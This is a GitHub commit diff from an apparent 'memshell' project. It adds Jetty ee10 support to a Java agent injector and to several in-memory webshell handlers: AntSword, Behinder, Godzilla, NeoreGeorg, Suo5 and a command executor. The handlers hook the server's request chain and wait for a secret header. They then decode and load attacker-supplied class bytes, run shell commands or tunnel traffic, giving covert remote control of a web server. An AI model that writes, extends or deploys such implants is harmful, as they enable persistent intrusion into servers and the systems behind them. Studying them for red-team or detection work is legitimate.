Skip to content

Commit b0657c9

Browse files
committed
fix
1 parent cf122d8 commit b0657c9

File tree

7 files changed

+115
-61
lines changed

7 files changed

+115
-61
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerAgentInjector.java

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
2020
"org/eclipse/jetty/servlet/ServletHandler",
2121
"org/eclipse/jetty/ee8/servlet/ServletHandler",
2222
"org/eclipse/jetty/ee9/servlet/ServletHandler",
23-
"org/eclipse/jetty/ee10/servlet/ServletHandler",
23+
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
2424
"org/mortbay/jetty/servlet/ServletHandler"
2525
);
2626
private static String targetClassName = "";
@@ -53,6 +53,9 @@ private static void launch(Instrumentation inst) throws Exception {
5353
if (targetClassName.contains("mortbay")) {
5454
targetMethodName = "handle";
5555
}
56+
if (targetClassName.contains("ee10")) {
57+
targetMethodName = "doFilter";
58+
}
5659
inst.retransformClasses(allLoadedClass);
5760
System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName);
5861
}
@@ -68,6 +71,9 @@ public byte[] transform(final ClassLoader loader, String className, Class<?> cla
6871
if (className.contains("mortbay")) {
6972
targetMethodName = "handle";
7073
}
74+
if (className.contains("ee10")) {
75+
targetMethodName = "doFilter";
76+
}
7177
defineTargetClass(loader);
7278
try {
7379
ClassReader cr = new ClassReader(bytes);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -24,23 +24,31 @@ public AntSwordJettyHandler(ClassLoader c) {
2424
@Override
2525
public boolean equals(Object obj) {
2626
Object[] args = ((Object[]) obj);
27-
Object baseRequest = args[1];
27+
Object baseRequest = null;
2828
Object request = null;
2929
Object response = null;
30-
31-
Object arg4 = args[3];
32-
if (arg4 instanceof Integer) {
33-
// jetty6
34-
request = args[1];
35-
response = args[2];
30+
if (args.length == 4) {
31+
Object arg4 = args[3];
32+
baseRequest = args[1];
33+
if (arg4 instanceof Integer) {
34+
// jetty6
35+
request = args[1];
36+
response = args[2];
37+
} else {
38+
request = args[2];
39+
response = args[3];
40+
}
3641
} else {
37-
request = args[2];
38-
response = args[3];
42+
// ee10
43+
request = args[0];
44+
response = args[1];
3945
}
4046
try {
4147
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
4248
if (value != null && value.contains(headerValue)) {
43-
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
49+
if (baseRequest != null) {
50+
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
51+
}
4452
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
4553
byte[] bytes = base64Decode(parameter);
4654
Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -31,24 +31,32 @@ public BehinderJettyHandler(ClassLoader c) {
3131
@Override
3232
public boolean equals(Object obj) {
3333
Object[] args = ((Object[]) obj);
34-
Object baseRequest = args[1];
34+
Object baseRequest = null;
3535
Object request = null;
3636
Object response = null;
37-
38-
Object arg4 = args[3];
39-
if (arg4 instanceof Integer) {
40-
// jetty6
41-
request = args[1];
42-
response = args[2];
37+
if (args.length == 4) {
38+
Object arg4 = args[3];
39+
baseRequest = args[1];
40+
if (arg4 instanceof Integer) {
41+
// jetty6
42+
request = args[1];
43+
response = args[2];
44+
} else {
45+
request = args[2];
46+
response = args[3];
47+
}
4348
} else {
44-
request = args[2];
45-
response = args[3];
49+
// ee10
50+
request = args[0];
51+
response = args[1];
4652
}
4753

4854
try {
4955
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
5056
if (value != null && value.contains(headerValue)) {
51-
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
57+
if (baseRequest != null) {
58+
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
59+
}
5260
Object session = request.getClass().getMethod("getSession").invoke(request);
5361
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
5462
Map<String, Object> map = new HashMap<String, Object>(3);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -21,23 +21,31 @@ public String getParam(String param) {
2121
@Override
2222
public boolean equals(Object obj) {
2323
Object[] args = ((Object[]) obj);
24-
Object baseRequest = args[1];
24+
Object baseRequest = null;
2525
Object request = null;
2626
Object response = null;
27-
28-
Object arg4 = args[3];
29-
if (arg4 instanceof Integer) {
30-
// jetty6
31-
request = args[1];
32-
response = args[2];
27+
if (args.length == 4) {
28+
Object arg4 = args[3];
29+
baseRequest = args[1];
30+
if (arg4 instanceof Integer) {
31+
// jetty6
32+
request = args[1];
33+
response = args[2];
34+
} else {
35+
request = args[2];
36+
response = args[3];
37+
}
3338
} else {
34-
request = args[2];
35-
response = args[3];
39+
// ee10
40+
request = args[0];
41+
response = args[1];
3642
}
3743
try {
3844
String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
3945
if (cmd != null) {
40-
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
46+
if (baseRequest != null) {
47+
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
48+
}
4149
InputStream inputStream = null;
4250
try {
4351
inputStream = forkAndExec(cmd);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -25,23 +25,31 @@ public GodzillaJettyHandler(ClassLoader z) {
2525
@Override
2626
public boolean equals(Object obj) {
2727
Object[] args = ((Object[]) obj);
28-
Object baseRequest = args[1];
28+
Object baseRequest = null;
2929
Object request = null;
3030
Object response = null;
31-
32-
Object arg4 = args[3];
33-
if (arg4 instanceof Integer) {
34-
// jetty6
35-
request = args[1];
36-
response = args[2];
31+
if (args.length == 4) {
32+
Object arg4 = args[3];
33+
baseRequest = args[1];
34+
if (arg4 instanceof Integer) {
35+
// jetty6
36+
request = args[1];
37+
response = args[2];
38+
} else {
39+
request = args[2];
40+
response = args[3];
41+
}
3742
} else {
38-
request = args[2];
39-
response = args[3];
43+
// ee10
44+
request = args[0];
45+
response = args[1];
4046
}
4147
try {
4248
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
4349
if (value != null && value.contains(headerValue)) {
44-
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
50+
if (baseRequest != null) {
51+
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
52+
}
4553
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
4654
byte[] data = base64Decode(parameter);
4755
data = this.x(data, false);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgJettyHandler.java

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -38,23 +38,31 @@ public Class<?> load(byte[] cb) {
3838
@Override
3939
public boolean equals(Object obj) {
4040
Object[] args = ((Object[]) obj);
41-
Object baseRequest = args[1];
41+
Object baseRequest = null;
4242
Object request = null;
4343
Object response = null;
44-
45-
Object arg4 = args[3];
46-
if (arg4 instanceof Integer) {
47-
// jetty6
48-
request = args[1];
49-
response = args[2];
44+
if (args.length == 4) {
45+
Object arg4 = args[3];
46+
baseRequest = args[1];
47+
if (arg4 instanceof Integer) {
48+
// jetty6
49+
request = args[1];
50+
response = args[2];
51+
} else {
52+
request = args[2];
53+
response = args[3];
54+
}
5055
} else {
51-
request = args[2];
52-
response = args[3];
56+
// ee10
57+
request = args[0];
58+
response = args[1];
5359
}
5460
try {
5561
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
5662
if (value != null && value.contains(headerValue)) {
57-
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
63+
if (baseRequest != null) {
64+
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
65+
}
5866
Object[] map = new Object[]{
5967
request,
6068
response,

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5JettyHandler.java

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -35,29 +35,37 @@ public Suo5JettyHandler(InputStream in, OutputStream out) {
3535
@Override
3636
public boolean equals(Object obj) {
3737
Object[] args = ((Object[]) obj);
38-
Object baseRequest = args[1];
38+
Object baseRequest = null;
3939
Object request = null;
4040
Object response = null;
41-
42-
Object arg4 = args[3];
43-
if (arg4 instanceof Integer) {
44-
// jetty6
45-
request = args[1];
46-
response = args[2];
41+
if (args.length == 4) {
42+
Object arg4 = args[3];
43+
baseRequest = args[1];
44+
if (arg4 instanceof Integer) {
45+
// jetty6
46+
request = args[1];
47+
response = args[2];
48+
} else {
49+
request = args[2];
50+
response = args[3];
51+
}
4752
} else {
48-
request = args[2];
49-
response = args[3];
53+
// ee10
54+
request = args[0];
55+
response = args[1];
5056
}
5157
try {
5258
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
5359
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
5460
if (value == null || !value.contains(headerValue)) {
55-
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
5661
return false;
5762
}
5863
if (contentType == null) {
5964
return false;
6065
}
66+
if (baseRequest != null) {
67+
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
68+
}
6169
if (contentType.equals("application/plain")) {
6270
tryFullDuplex(request, response);
6371
return true;

0 commit comments

Comments
 (0)